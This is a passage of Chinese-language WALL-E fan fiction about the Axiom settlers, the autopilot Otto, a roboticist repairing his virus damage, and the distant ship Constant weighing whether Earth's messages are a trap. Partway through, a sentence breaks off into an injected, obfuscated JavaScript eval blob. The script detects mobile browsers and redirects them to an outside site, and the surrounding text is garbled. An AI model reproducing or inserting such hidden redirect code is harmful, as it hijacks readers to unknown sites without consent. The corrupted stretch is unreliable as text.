如果双方推理能力具有一定的差距,从获得的信息量来说,都会比较显著地向优势一方倒去。优势不青睐问方或者答方,更多地取决于双方各自的推理能力。但如果答方不交还问答树,那么问方的优势将会全部丧失。在无法碰面的远距交流中,问方必须能承担得起这种风险。 这种思维方式,若要追根究底,则始于AI事业最初始、也是最热门的棋类竞技项目,特别是围棋。 常量号发来的问答树显然不是自爆型,加上给地球发送了舰桥内图片与粗略位置,说明他们对公理号还是有相当的信任。被剖开的常量号问答树将它蕴含的所有数据公之于众,包括它所携带的一连串问题。看到问答树数据库的所有地球镇人都对此吃了一惊。 怪不得常量号暂时不急着回地球。他们在马头星云中找到了相当丰厚的资源,只不过因为没有找到适合改造的宜居行星,所以只能暂时漂泊在太空中。显然地球对于他们来说是可有可无的家园,也难怪他们要问这么多详细的关乎地球的问题,因为他们只是以此来权衡回地球的必要性。 常量号本身似乎继承了C级飞船本身具有的特性。与张扬的A级飞船公理号相比,他们的态度相当谦逊,只是说他们因为比较早就知道自己的资源显然撑不住那么久,所以也就认同了AI的调配。他们并不为自己在机器人的安排下工作而感到羞愧或者侮辱,相反,正是AI的预见性和给出的比他们本身更符合逻辑的调配方案,他们才得以在马头星云中生存下来。 他们面对公理号的降落,既无冲动的兴奋之情也无嫉妒的敌意。在接到公理号的回复后,他们感兴趣的只是是这些年公理号是如何发现地球宜居的,发现宜居后如何让长久在太空生活的人们重新开始地球生活,比如说询问实际的耕种经验。就像长久在外的游子写信给家里人嘘寒问暖一样,顺便还问了问公理号在回地球后那些发射区附近原先的BNL遗迹都怎么样了。 最后他们还特意解释了一下,在马头星云中的特殊天体比较多,与太阳系内不太一样,因此能收到来自公理号的信号已经是万幸至极。在AI主导下,他们选择了这种问答树的方式。根据船上的安排与马头星云内的天体运行规律,下一次能收到公理号的信息很大概率在2周后。但是尽管如此,实时舰上通话还是不太可能。 地球镇人把问答树的所有信息提取出来,根据他们理解的逻辑关系分门别类,备了好几份,然后小心翼翼地把问答树剖开的逻辑重新复原。问答树似乎不知道自己被从里到外剖来翻了一遍,只是重新按部就班地抛给地球镇人一个又一个问题。根据问答树中蕴含的情报,地球镇人在2周的限期内开始讨论应对。 “他们确实在马头星云吗?” “根据问答树的情报,他们没有隐瞒坐标的动机。” “能大致肯定的是,他们确实被机器人控制了。这份问答树的资料没有任何显著的侧重点,不是正式文件,连人的激情都没有。” “从他们的身形来看,即使是傀儡,也不可能像当年的公理号人那样易于摆布。特别是他们的AI——无论是自动驾驶仪还是舰载电脑,都比公理号的要强得多。” “他们对地球没什么兴趣,但至少回复了我们,还给了这么丰富的资料。对我们来说具有很大的战略意义。” “首先我们应当尽可能详细地回复他们,给他们一个地球环境比太空生活诱人的感觉。然后从他们的后续回应中找到突破口,尽可能吸引他们改变主意,回到地球。” “但首要条件是要唤醒他们人类的回家欲望,而且要突破机器人控制的局面,就像当年公理号那样。” “而且在他们自动驾驶仪的A113指令已经失效的情况下,还能顶得住回家的诱惑,简直是奇迹。” “说不定他们的AI没有告诉他们地球已经宜居了。” 整个会议室瞬间安静下来。 “信息截流。然后编造如此的假象,这是发展到什么程度的人工智能才能做到的事情。” “但这是唯一一艘目前回复我们的船只。这是最大的希望。所以无论他们——它们的智力水平如何,都得尽量让他们回到地球。” “对。无论如何都要赌一下。我们能做的只是通过推测他们的水平,及时调整我们的应对措施。” “那么突破口目前就是在绕过他们人工智能的审查下,让舰长能够看到信息。” “最好的办法莫过于直接写上‘所有内容仅限舰长查看’,再强大的AI,他们都必须遵循相当的规则,在人类命令他们的时候需要让步。这也是他们还有舰长的最根本原因。” “但这不能排除他们的AI忽略我们的要求而篡改信息,再给舰长过眼。毕竟我们对他们没有直接上级关系。” “如果这样的具有诱惑力的东西过去了,他们还是无动于衷,就可以推测他们的AI确实篡改了。那么我们就对他们的AI进行说服。” “或者两者兼一也行。” “AI都喜欢些什么?它们不认为他们缺什么东西。地球上的特色对他们来说可有可无。” “至少从我们这边的机器人的情况看,它们很可能喜欢确定的、安宁的事情。” “对。这也是他们在马头星云内一直不出来的原因。” “如果说服他们地球上的环境比马头星云内的还要安定,可能AI就会判定回地球更符合逻辑。” “地球上的安定,对AI来说莫过于有无限的零件生产车间、稳定的能源和防止致命太空电磁波的自然保护层。” “但他们船的技术情况我们不清楚,根本不知道我们所认为的这些条件他们有无满足。” “C级飞船上至少不具有零件生产功能,或者合成、再生利用效率很低。不然他们不会需要限制资源使用。” “这会是个突破点。告诉他们地球上空间很大,不需要他们省吃俭用。” “这应该是最好的理由了。” “关于他们要求的舰桥图像一事,为了表示我们在地球上生活的决心,建议不穿舰长服,自动驾驶仪也可不要求在身边。” “对了,自动驾驶仪的自由也可以成为他们返回地球的诱惑条件。” “奥托目前甚至连合影都做不到。” “只要有一张基础图片,根据他平时的表现,修在舰桥中央即可。对焦可作少许调整。” “然后为了探明他们那边的情况,最好还是催他们无论如何都要进行一次舰上通话,一分钟的稳定都好。” “到时候奥托还是得出场。很难说他们的AI知不知道降落后需不需要更换机体。” “他没有必要出场。直接说他是自由身,船上事务由我们代办完事。” “没错。我们有自治能力。” “最后,我们这边需要培训专门对抗机器人的人员。有必要的话,MB-16飞弹弹头换成电磁干扰源,注意训练人员对本舰机器人与他舰机器人的识别。这段时间内可以给我们能找到的公理号机器人都做上显而易见的标记。虽然他们居心未必不良,但该做的准备还是必须得做。” “针对人的培训也得同时进行。不知道在AI的操控下人会有什么样的举动。也许和机器类似,但很可能行动比人的战略要更加变化多端。” “最坏的情况也莫过于此了。希望这些人都派不上用场。” 【上次派到O区的那个人形机器人,EP-003,奥托,情况怎么样了?】格兰德用内线发送给监督此事的人。 【直到现在都未能成功重启。QT-Ⅱ病毒恐怕已经对他造成了不可挽回的损害。】 【这些损害会导致他失能吗?】 【就像QT-Ⅰ一样,在受控情况下,全面失能不太可能。但据他们说,后续的影响肯定是有的。】 【比如说什么后续影响?】 【病毒残留。完全清除势必会破坏掉他本身的某些重要架构,如果为了保留这些架构而留有一部分残余病毒,不知道什么时候会重新影响他。】 【不过他们正在寻找更好的解决方案。】那个人接着发了一条,【慢慢等吧,时间给得越长,越有可能妥善解决。】 格兰德关闭了对话框。 这事情发展和他想的不太一样。老人皱着眉头,久久不能放松。 O区内,女机器人学家将清除病毒的工作暂时搁置下来,走出房间换换新鲜空气。清除病毒的办法并不多,但她还认为这个机器人还有希望。特别QT-Ⅱ的主要目的不是为了感染后获取文件再破坏,那么修复起来比原来的QT-Ⅰ要方便很多。尽管如此,因为上头给的时间比较紧凑,他们也不能预计不成熟的QT-Ⅱ对宿主还有什么严重后续影响,毕竟他们对这个宿主也不完全了解。 前几天的发现一直在她脑中挥之不去。 除了跳动的数据,她很快发现了宏观上的改变,虽然短时间内肉眼看来非常微小,几乎难以发现。为了证实她的猜测,她悄悄放置了一个微型摄像头,对准选中的一个目标区域,然后她等了两天,回收了摄像头中的数据。她把数据带回自己的房间,加快了播放速率,虽然之前已经因为这个跳动数据吃了一惊,此时此刻真实的场景呈现在她眼中,更是令她震撼不已。 虽然这项工作主要由她负责,但她很讨厌白天总有些不相关的人来打扰,那是她正需要集中精力做事情的时候。现在夜间不会有人来干扰她了,她也难以在这个房间内继续待下去,因为她知道夜间无人之时,房间里的红外线夜视摄像头会打开,为了防止某些可能的小偷小摸——至少那些装监控的人是这么解释的。虽然她知道往往是事情发生了才会有人去看这些监控,但她还是不喜欢自己时不时地被人从不知名地方盯着的感觉。 但这个发现她不打算告诉任何人。如果告诉了,那么这个猎物多半将会流入那些资质较高但又跟不上时代进步的老油条手里。这是她负责的事情,她不会轻易扔给别人,况且她还对此大感兴趣。 刚看完快放视频的那一晚,她这个决定终于落入实处。为了让自己不要在不经意间暴露一个尴尬的角度,她已经弄明白了这个探头的范围,不过对于她接下来要做的还是不够。 这倒是简单。只需把这段时间的监控替换成一个持续的画面,反正那里面只要没人,就几乎不会有什么变化。她提前告知了她的前男友在某处等她,而在这段时间里,她在那个目标区域附近刮取了少量物质。在她转身挪开的刹那,眼角闪过的晶莹再次吸引了她的注意。 老天爷,这究竟是什么东西。刚刚似乎刮破了什么,应该是液冷系统的微型管道,这在BNL机器人当中并不罕见,但里面的东西和其他机器人的冷却液完全不同。它不是透明的,而是和金属一样泛着光。对了,看起来像水银,但和水银那种厚重的色彩完全不同。 这可能是这些数值跳动的关键。她突然想到。她刮取少量“冷却液”,然后认为短时间内不会渗漏太多。把她自己弄的监控面具撤掉后,走进了寒风中。她的前男友在一处拐角等她。 等她回去看的时候,她惊讶地发现渗漏终止了。 仅仅过了一个晚上,她前男友就把她叫来了。而且是大中午。 她看到他前男友的脸色变了。 “劳伦斯(Laurence),告诉我你发现了什么。”她看出了前男友凝重的神色,立刻知道他发现了什么。 “露丝(Ruth)。露丝……”劳伦斯没有马上说话,而是看着天空,许久过后才开口。 “我……不好意思,我只是个搞动物生理学的……”然后他的视线从天空转向自己的前女友,用虚声厉声发问。“但你们这些该死的机器人学家究竟搞了些什么鬼东西?!” 又来了。这种口气让她想起那段分手前的不愉快时光,“劳伦斯,我没有时间和你磨。”她狠狠盯着他,“这不是我们的造物。” “好吧,我就告诉你我看到了什么。”劳伦斯顿了一下,灰色眼睛盯进露丝的脸,“你不会相信,在那滴悬浮液中,我看到了——细胞。” “这不可能。” “抱歉,细胞是我最熟悉的东西,这也是我最能给这些小造物定义的最佳词汇。”劳伦斯说,“当然了,它们和生物细胞完全不同,但他们的行为特征和细胞非常相似。” “它们能干什么?”女机器人学家不禁问。 “具体能干什么还在看。但它们形态非常多变,对了,如果与你给的那个固体接触,我发现它们会与这个固体达成某种平衡——就是说,有悬浮物会附着在固体上,而原本存在固体上的悬浮物也会下来到液体中。很简单,标记其中的几个再放回去,它们的路线都清清楚楚。” “这东西,绝对是仿生学的巅峰之作。”劳伦斯说,“我听说过这种概念,但实物还是第一次见。”他低下头看着前女友,“这是谁的造物?” 露丝没有回应。她呆呆地望着前方。 “哦对了,我还忘了。它们不知用什么来维持它们的动力。但是过了这一晚上,似乎就不那么活跃了。”劳伦斯继续说,“我估计它们应该还会像细胞那样死去。” “万用小体(nanites)。”露丝喃喃地说出这个名词。“一切都明白了。” “万用小体?” “是一种微型机械。它们在一定程度上构成了一个整体,就是我给的固体样品。它们也可以通过某种法则回到液体中,形成单独的部分。”露丝说,“只不过我也想不到真的有人弄了这些。它们的成本造价比单纯换部件要昂贵好几个数量级。而且最重要的是,它们这样还不能完全代替换部件,可以说与换部件相比百分百处于劣势。” “嗯。”劳伦斯回应,“所以我问你这是谁的造物?” “大逃亡前的造物。”露丝对劳伦斯说,“看在你和我有所交情的份上,我告诉你,就是奥托,地球上唯一一个人形机器人,年初非法闯入我们的科研区,还能逃脱的那个。” “原来是这家伙。”劳伦斯瞪了下女机器人学家,随后对她眨了眨眼,露出一个狡黠的笑容。“它终于到你手上了?来讲讲怎么抓住这珍稀动物的。” 露丝挡开了前男友的手,“对不起,这个我无可奉告。”她对劳伦斯说,“我说了就保不住他了。” “你还是一如既往地自作主张。”劳伦斯那抹狡黠的笑容扩大了,“不告诉我,怎么对得起我告诉你的这些?” “两码事。”露丝压抑住对前男友的敌意,掩饰性地看了看时间,“在我手上也是个意外。劳伦斯,我是个提线木偶,我想你应该不会笨到不明白这些。”她闭上了眼睛,深吸一口冷空气,缓缓吐出来,然后才对依然满身动物异味的前男友开口了。 “听起来你也挺想多见识见识这个‘珍稀动物’,是吧?”她回敬前男友同样的狡黠,这个方法对付他屡试不爽。“但是,前提条件是别多嘴,让我自己想办法处理这个。如果你一味多嘴,那你就永远见不着活的了。” “哼,你以为你是罗伯特大神么。”劳伦斯拉起一边嘴角冷笑一下,“好,接下来那家伙还有啥仿生绝招,你只管来找我。但事成之后——”他靠着树的身子直了起来,“如果见不到活的那位,那就把活的这个再给我看看。我不介意再为此服务。”劳伦斯灰色的眼睛似乎要吞噬露丝的脸,手指点了点露丝的胸口,正中两峰之间。 “你要求太多了。”虽然外面没人,但露丝拉下了脸。她本来内心确实感激前男友能无条件地为她帮忙,本想尽量让自己诚心诚意感谢他一次,但是他最后的一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706286|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话让她觉得这句感谢怎么都说不出口。她再看了看时间,扭头就走。身后传来劳伦斯特征性的那种听不出是胜利还是嘲笑还是化解尴尬的乌鸦般的笑声。 她把自己的思绪从病毒般的笑声中努力拔了出来,眼前重新是阴沉沉的天空,似乎要持续到永远。回头望向温暖但是憋闷的小房间,那具银色躯体还死气沉沉地躺在原处。她仔细想了想自己能做的事情。发现即使是主要负责人,她的权利也比手下那些至少在她面前表现得不明所以的人大不了多少。 他们只是让自己把病毒清除。病毒一清除,她又变成了等着命令的木偶。那么这家伙的去向再也不会归她所管。清除不掉只是一个借口,只能说她在尽力掰开那些缠人的东西,这是真的。她确实想留下尽可能多的原先架构,而不是直接替换打补丁完事。但她不能做主,这能撑多长时间是个问题。如果能让关键的那个人知道这家伙的意义就好了。这样的话,她就不用独自面对那些问来问去的大区人了。 但让她这么做的反而是O区人。头一次她怀疑自己所生活的这个天堂被严重冒犯了。居然允许O区人被一帮和当年船上没什么区别的自大狂问来问去。简直屈辱。 牢笼里的困兽。露丝盯着面前生机全无的人形机器人,不禁觉得可笑。自己和这个仿生机器居然处于同等的状况下,然后还不遗余力地想救他。如果再听到自己的声音,这家伙肯定恨死了。她想起自己对着那些台词念出来的冰冷声音,撇了撇嘴角,苦笑起来。还什么抓珍稀动物,不被它咬死才是当务之急—— 她突然想到了什么。 对啊。她突然灵机一动。急忙点亮屏幕,翻过眼花缭乱的、象征奥托本身系统的蓝色区域,以及象征被感染的红色区域。我真傻。露丝暗骂自己。这系统已经说明一切了。我却现在才猛然明白为什么。 QT-Ⅱ病毒相当争气。虽然那部分下脚的地方已经没办法完全复原,但是它不是不可替换的。这需要时间和摸索。其他部分可以轻松清掉。但她留了一手。既然这是仿生的。她想,那么仿生肯定有仿生的特征。就像研发QT-Ⅱ那阵一样,她可以把一部分架构模拟出来,然后模拟感染后的效果,进度加快几百倍,就可以看看最终的结果将是什么样。生物的特征之一在于自主防御。机器人也一样,但唯一不同的就是生物可以愈合。如果他的结果能是如此,那么她就大有理由进行她接下来的动作了。 紧张的工作进行了几天,她相当满意。然后她干净利落地斩断了QT-Ⅱ剩下那块扎根最牢、破坏最厉害的区域,泰然自若地对前来询问的人说,病毒清除了,但是不出意外,这块地方如果不补好,那么一样只能剩下个废铁。而为了修补这个,她说,可能需要很长一段时间。 等到她听说要让这家伙暂时呆在O区的时候,她知道自己胜利了。 汉在浑浑噩噩中过了好久。虽然课是在上了,但他再也没碰过舰长课程。那台电脑他都没再看过。他以为自己走出来了,但只要一打开那个简陋的电脑,他发觉就没有心思继续看下去。 奥托都走了。公理号连续两周都不让他接近,而且不久的将来要被拆了。自己学这些还有什么意义。男孩呆滞地盯着显示“信号断连”红色的那个图标。傻瓜公理号电脑还以为他活着,只是收不到信号而已。 距离上次拒绝德卡德老师已经过了很长时间。但出乎他意料的是,这老师没有因此气馁,反而隔一段时间就向他发送一些O区里的科技进展快报。虽然他会被这些信息打扰,但其中那些内容着实还是吸引了他。因此并没有下得了决心把老师删掉。 虽然很诱人。但奥托在O区里面停摆了。还有那么多的机器人都在O区停了摆。光凭这一点,他们对他说的都是为了拉拢他而耍出的伎俩。 但在删掉老师之前,他有个一直埋藏在心里的疑惑。终于,他下定决心发给德卡德老师一个信息。 【您说过您知道我难受之处所在。我想听听。】 他已经做好了德卡德先生故意避开他这个问题或者答非所问的准备。如果是这样,那么他就礼貌回应一句再见,之后果断删了他。 他打算给这老师一晚上加一上午时间。根据他平时的回复情况,不可能都对他的信息视而不见。 我就知道。许久,汉都没有受到德卡德先生的新消息。但在他熄灯上床之时,他只不过例行拿起平板瞟了一眼,立刻又坐了起来。德卡德先生回复他了。 【你觉得那个人形机器人,奥托,已经停摆了。】 老天爷。他们是怎么知道这个的。黑暗中,平板发出的微光好久都没有熄灭。但在短暂的惊慌过后,他平静下来了。自己欠课那么多,这么久了,自己在哪儿学习可能哥们都知道,然后这观察力惊人的老师可能凑巧抓出了他的哥们问出了事实。他知道这个实在不应当惊讶。 既然他们知道这个,怎么还有信心去拉拢他。汉在一瞬间又想删了这个老师。但他抑制住了自己的冲动,打算给老师摊牌了。 【嗯。】他回复,【他在你们区停摆的。我不去了。】 【原来是这样。】德卡德先生回复,【你相信机器人也有灵魂吗?】 汉在黑暗中翻了个白眼。但还是好好敲下了字。【我不信鬼神。】 【你怀疑是我们干的。】在线上,德卡德先生一改平日的含蓄,一针见血。 【嗯。】这老师还猜到了他真正不想去的原因。【你们还拆了好多其他的公理号船员机器人。】 【怪不得了,肯特先生。】他没想到老师会如此说。【这个,我很抱歉,他怎么进来的我也不知道。但如果他有合法合规的换区凭证,以及没有间谍目的,我们不会被迫采取措施。这个是可以肯定的。】 【他有换区凭证!】汉立刻敲出一串回复,【他不是间谍!】 好不容易压抑住的悲伤再度涌了上来。他眯起眼睛,庆幸现在不会有任何人看到他。为什么你们要这么对他。 德卡德先生被他噎住了。那边好久没有回应新的东西。 【有没有考虑过另一种可能性,汉?】在他再度打算放下平板的时候,老师又回复了。【或许,他根本不是被我们的人干的。】 什么? 汉关掉了全息屏,瞪大眼睛躺在黑暗中。老师说的最后一句话仿佛醍醐灌顶。 老天啊。 原来他觉得的危险是真实存在的。这个危险一直都与O区无关,直到最后他才警告奥托去O区的危险性。在这之前他一直提醒奥托的是……别做得太张扬。他们害怕他复辟,最怕的就是奥托打算上天。虽然他想不出奥托的决定有什么错,也想不出他们的怕有什么根据,但这两者一有矛盾,奥托一个统领其他机器人也干不过人类,况且他的班子经过了150年的无主生活,已经散得差不多了。 是谁才能登上公理号,是谁才能用从死者身上割下来的手指解开原本属于死者的保险柜? 他们是……大区人。 第二次了。不行。汉发疯地把头埋进枕头里,用怒气死命抵挡泪水的涌出。我太傻了。他就那个直楞脑袋,我怎么当时就没有说清楚话,还以为奥托能明白我在说什么。结果他到死都不明白自己是怎么死的! 太迟钝了。果然不是当舰长的料。对不起了,奥兄。他发直地瞪着前方的黑暗。你真的选错人了。 稍稍平静下来后,他才有勇气重新拿起平板。果不其然,老师发了一大串信息。都是他那边能有的猜测,与他想的差不多。最后的几条是过了很长时间发的。德卡德先生以为他没有看,倒也没说什么,只是嘱咐他早点休息而已。但在汉这里看来,德卡德先生的解释都是苍白干涩的说教,与自己所经历的证据相比都不值一提。 O区人都是些科学家,每天都兢兢业业地在各个领域上突破。他们凭什么会对机器人如此憎恶,本身作为科技领跑者,为什么要拒绝科技产物,这不是显然的矛盾吗? 想想德卡德先生平时的从容作风,然后再看看他们的科技快报,他们人究竟是什么样的,明眼人都能看出来。如此显而易见的事实他居然这么久都没有意识到。来自O区的恐怖传说蒙蔽了他判断是非的能力。 他想起了以前自己也是不信邪,执意在所谓的禁令下前往公理号上捣鼓,那段时间他不仅比同龄人学到更多的飞船知识——即使现在看来不过是些小聪明——而且他当时无论如何都想不到,传说中的恶魔最后竟然成为了他的良师益友。 现在O区也是如此。 不信一次邪是巧合,不信这么多次邪只能说明自己有超脱普通人的判断能力。 反观大区人,自小开始就给他灌输公理号可怕无聊的概念,以只会种田为荣。因为上船,他还挨了不止一顿揍与说教。虽然后来他的表现成为了他的靠山,但他们还以规章制度为由,在学习的路上百般阻挠他,甚至抹杀他的良师益友,理由笨拙可笑。 在这种环境中他还能摇摇晃晃站得起来,也是一个奇迹。 这地方没法待了。汉从未如此憎恨自己所在的家园过。 老师的话不失时机地重新萦绕进脑海中。 “天才不应当被世俗规矩所禁锢。” 我不是当舰长的料,但至少在钻研上我可能确实是个天才。 被他死死压在心底的、他认为已经羞于启齿的那段痴迷于玩“恶鬼食人”的童年回忆又涌了出来。为寻求刺激而产生的肾上腺素猛然排入血液中,混合新生但不稳定的雄性激素,让他的血液突然沸腾了一瞬。 除了阿莱茜丝,汉觉得到现在为止还没有人发现他在和O区人纠葛。他没有告诉自己的农民父母,他们也不会在这方面管儿子太多;镇长没有找他麻烦;只要他不接近公理号,那些人也不会理他。 他在自己的床上摊开身子,眼睛直直盯着平板上的“沃尔特·德卡德”绿标,手指尖轻刮着平板边缘。他想不出什么理由德卡德先生,或者其他O区人要害他。如果他们真的能突破大区的这些慢得不行的规矩,让他重新踏上以前学习的高速公路,那么这个条件确实诱惑到他了。 他想到阿莱茜丝对他说过的那些。那个寒冷的下午。他当时还比较认同阿莱茜丝的说法。但现在他的倔劲儿上来了。 一个小女孩懂什么。 去了O区还想回来吗?回来这个动不动就对自己下禁令、挨拳脚、提心吊胆学习的地方? 奥托已经走了。 船要没了。 父母怎么办? 迟早都要独立的。早别人两年怎么了。 只要向父母说明,自己只是去别的地方进修去了,那地方安全,有人照顾他,只是很长很长一段时间他都不会回来。对了,还要告诉父母,千万别找其他人去寻找他的动向。如果找了,那么对他没有好处。 如何证明这是自己说的呢?用自己的笔迹留言,说有事就找拉什问,再不济找N2。然后和哥们和N2碰面,确保他们知道的确是自己要去进修。这能把父母蒙在鼓里好一段时间,等到他能在O区安顿下来。然后如果这个惊动了大区人,他敢保证,他们没那么容易把他弄回来。 该留我的时候不好好对待我,等到我已经失望了,看看你们哭爹喊娘的扭曲嘴脸。汉在黑暗里嗤了一声,拉起一边嘴角。他把平板放下,打定主意,心满意得地进入梦乡。 21. 十九 “‘所有内容仅限舰长查看’,嗤。”弗洛伊德舰长看到超光速信息封面那几个红色的大字时笑了。“科林,你偷看了没?”他咧开嘴,对旁边蜘蛛般的机器人玩笑说。 “如果封面几个字也算的话,我负罪难逃。”机器舵手上部的两个短柄稍稍动了一下,这个动作可以理解成人类的耸肩。 “挺自觉的。说不定里面是些机器人不宜的不可描述视频呢。”弗洛伊德继续笑道,但很快就收住了。“行了,不开玩笑了,你也别背过身去,咱们瞪大眼睛看看他们这是演的哪一出。” 弗洛伊德打开了信息包。首先映入眼帘的是一张舰桥内图片。背景是公理号硕大而整洁的舰桥,似乎是在与太空中同样黑暗的夜间拍摄的,里面的控制台上亮起的灯光星星点点,但比完全活跃的常量号控制台要少很多亮星。舰桥灯光自上往下打着。格兰德镇长身着正式衬衫,但显然不是舰长服,站在照片中央,苍老的面孔神色庄重。后方黑暗中,有个模糊的人形身影,但在上方的舰桥灯光下还是能看出它银色的金属材质。头部中央发出的红色光与科林镜头的红光非常相似。这个金属人身影背着手,与全息照片中的精干老人隔了一段礼貌的距离。 “他们的……自动驾驶仪?”弗洛伊德舰长看完图片底下公理号式的解释后,半张脸立了起来,科林从不知道自己的舰长还能做出这种精彩的表情。“你知道这是啥不。”弗洛伊德问科林。 令弗洛伊德舰长想不到的是,科林停顿了好一会儿,似乎在思索什么久远的记忆。随后深沉的机械声音才从面盘旁边黑色的扬声器发出。“这确实是我们的备用机体。” “机型都变了,太牛逼了。”弗洛伊德说,“这能干什么?” “很遗憾,我也不知道能干什么。”科林停滞了一会儿后,回答,“我这只有储藏室编号,搜不到它的电子说明书。”随后他又补充一句,“放心,到时候在地球上那段时间,我不打算离开舰桥,更谈不上换机体。” “后方这一块到时候就交给你。”弗洛伊德舰长很满意地说。“看看接下来他们还有什么。” 接下来的是交还常量号的问答树。科林接手进行解析。令他意外的是,他们没有在问答树里附上他们的基础情况,也就是说没有把问答树延长,以便让常量号继续进行问答。在他一层层解析时,猛然停下了。没有与电脑联机的弗洛伊德舰长“看”不到旁边的机器舵手在解析过程中遇到了什么。 倒不是病毒。如果是的话,公理号对常量号的恶意也就太大了。只不过,科林在当时设计问答树的时候,在层层包裹的“包装纸”中做了一些记号。这些记号连弗洛伊德舰长都不知道,只有他才能识别。现在他再度拆开问答树的“包装纸”时发现,有些记号变位置了,还有些记号被撕扯得七零八落。 如果是按照正常流程进行问答,不破解问答树,那么这些记号不会改变位置,也不会变化结构。此时它们从外到里都变了,只能说明一件事情——公理号人把问答树破解了。 他们还知道破解问答树来获取完整的信息。科林暗搓一把冷汗,如果他能出汗的话。还好当时舰长和自己都比较谨慎,编造了一套逻辑自洽的常量号概史概观,为此他们还互相提问了好几天,以求找到其中的破绽。破解这个东西的提议不大像是人类能提出的,如果他们的自动驾驶仪还在运作,这东西最有可能就是他们那个更换机体的自动驾驶仪干出来的。这么说来,他们的自动驾驶仪根本就没失效。 但他们的自动驾驶仪居然没发现他在问答树中做的记号,这事情也有些令人匪夷所思。他们都是同样的芯片,理论上明明是势均力敌的对手,他能想到的,公理号上的自动驾驶仪很可能也想得到。 在科林拆封问答树期间,弗洛伊德舰长翻到了公理号给的另一份文件。公理号针对他们的问题,都非常非常详尽地发还了答案。第三份文件的白光投射在黑暗的舰桥玻璃上。那里的雾相比两周前已经稀薄了很多,不仔细看几乎都看不到。而他们的速度虽然在增加,但加速度比起起雾前在迅速减小,船体的振动也比之前剧烈了许多。 科林看到了弗洛伊德舰长打开看的文件。他稍稍瞧了一眼,发现都是地球的更详细的情况。原来他们把地球的情况分开发了一份出来。暂且把这个可能留着。他在旁边开了个全息屏,把问答树中的所有的内容呈现在上面。 弗洛伊德舰长看到了旁边新弹出的全息屏,但没有转过来。他还在研究着第三份资料。科林没有打扰舰长,而是在一开始舰长的允许下,直接从舰载电脑那里下载了备份,自己开始阅读分析。 整个舰桥只余舱壁的震动和飞船引擎抵抗越来越大的自身质量的挣扎轰鸣声。 弗洛伊德舰长看完了地球发过来的详细资料,才接着看发回来的问答树。问答内容与资料有相当一份重叠,倒不如说他们似乎不会用问答树,所以才针对问答树的问题原封不动地打包来一份地球资料,让他们自行查找。问答树的翻阅很快。随后弗洛伊德舰长转了过来。他没有关掉全息屏,而是对在身后待命的舵手机器人开口了。 “你也应该看完了吧?”年轻、消瘦,苍白皮肤的舰长问,“我先听听你有什么特别的发现。” “他们破解了问答树。”科林立刻说。 弗洛伊德舰长看着科林,“没有了吗?” “给回来的回应很集中在地球环境恢复状况与资源储备上。虽然似乎没有我们想要的答案。” 弗洛伊德舰长瞪着红眼机器人好一会儿,才说话了。 “科林,还有一个东西你没有发现。” “我不太清楚你感知情绪的能力如何,虽然你平时表现得很皮。但这其中包含了非常强烈的驱使我们落地的情绪。而且针对的对象是你。”弗洛伊德舰长看着舵手机器人,“不然,他们不会在这次的文件封面上特地写上‘所有内容仅限舰长查看’。” 红眼机器人没有答话。 “所以,我们的第一步计划,也就是让他们认为是你在主导我们船,很可能成功了。”弗洛伊德舰长说,“至少,我们知道如果他们想,大概会怎么对付被AI主导的船——对不起。” 科林的面盘上没法表达表情,但他没有揪着不放。“万一只是想让我们产生这种错觉呢?” 弗洛伊德沉默了。 “就是让我们产生这种错觉又如何?”舰长突然说。“该准备的还是得准备。” “这么押题有意义吗?” “重点是。”弗洛伊德瞪着科林,“他们在大张旗鼓欢迎我们回地球。如果有根绳连在我们船上,他们会死命抓着绳子往下拽。” “科林,这是一件很奇怪的事情。我没看出来他们发回来的地球环境有什么异样,时间不对这项除外。”弗洛伊德继续说,“这么好的环境放着不自己占着,还拼命招摇着让别人过来抢,这我觉得说不通。” “这怕是个陷阱,科林,但我想不出他们为什么要我们下去。”弗洛伊德说,“搞不好地球早就不行了,他们都不在地球上而是在太阳系里。这你没法确定吧?这样的话,我搞不懂他们还要我们回地球干嘛,我们回去了他们不在地上,他们什么都捞不到。” “万一他们就在地球上呢?” “那他们编造时间干什么?” 科林被噎住了。 “有个可能,虽然可能性很小,但会直接影响到我们接下来的行程。”科林开口了。 “啥?” “地球炸了。” “两个月内能炸——”弗洛伊德想对红眼机器人喷出“你疯了吗”四个字,但他及时刹住了车。“我操,真是这样我们回去个毛线。” “但有个问题。”弗洛伊德说,“这样的话,他们让我们过去干什么?” “抢船。” “操。”弗洛伊德瞪着科林,“这也太阴了吧。” 科林没有答话。年轻舰长抱着脑袋,坐在悬浮椅中。 “操。怎么证明地球还在。”弗洛伊德苦脸望向前方的星空。“隔这么大老远的,他们要真想阴我们,我们也没法证伪。” 舰桥里再次安静下来。 “有个办法,但不确定行不行。”科林说。 “除非你的办法能绕过他们。”弗洛伊德说。 “正是这样。”科林回答,“发给地球基站。他们可能可以截得到,但是不影响基站回复我们。” 弗洛伊德盯着科林好一阵,下巴差点掉下来。 “牛逼,不愧是千年老机妖!”弗洛伊德一掌拍到科林的外圈结构上,“就这样!把地球所有基站的坐标编码都勾上,月球的也勾上,甚至可以勾火星的——基站能兼职观测吗?” “可以是可以。问题是我们都很久没收到基站信息了。”科林说。“搞不好太阳系里的基站都完蛋了。” “管那个干啥。”弗洛伊德舰长说,“有一个可能是一个可能。” “这直接涉及到我们发信息的数目。只剩下两次。”科林说。 “这样要发多少?” “运气好的话,一次。运气不好的话,三次才能证明。”科林说。 “好蠢啊,前两次都没有想到加基站坐标。”弗洛伊德说。 舰长停了一会儿。然后猛地一击掌。 “科林,现在不是考虑这个的时候。”舰长说,“我不信发完4次信息之后我们就明明白白地只剩跳一次的能量,一定有盈余的。其次,如果真是地球炸了,起码我们还能留大半能量不用跳了。” 科林似乎在斟酌,但还是说了出来。“回马头星云也没有出路。” 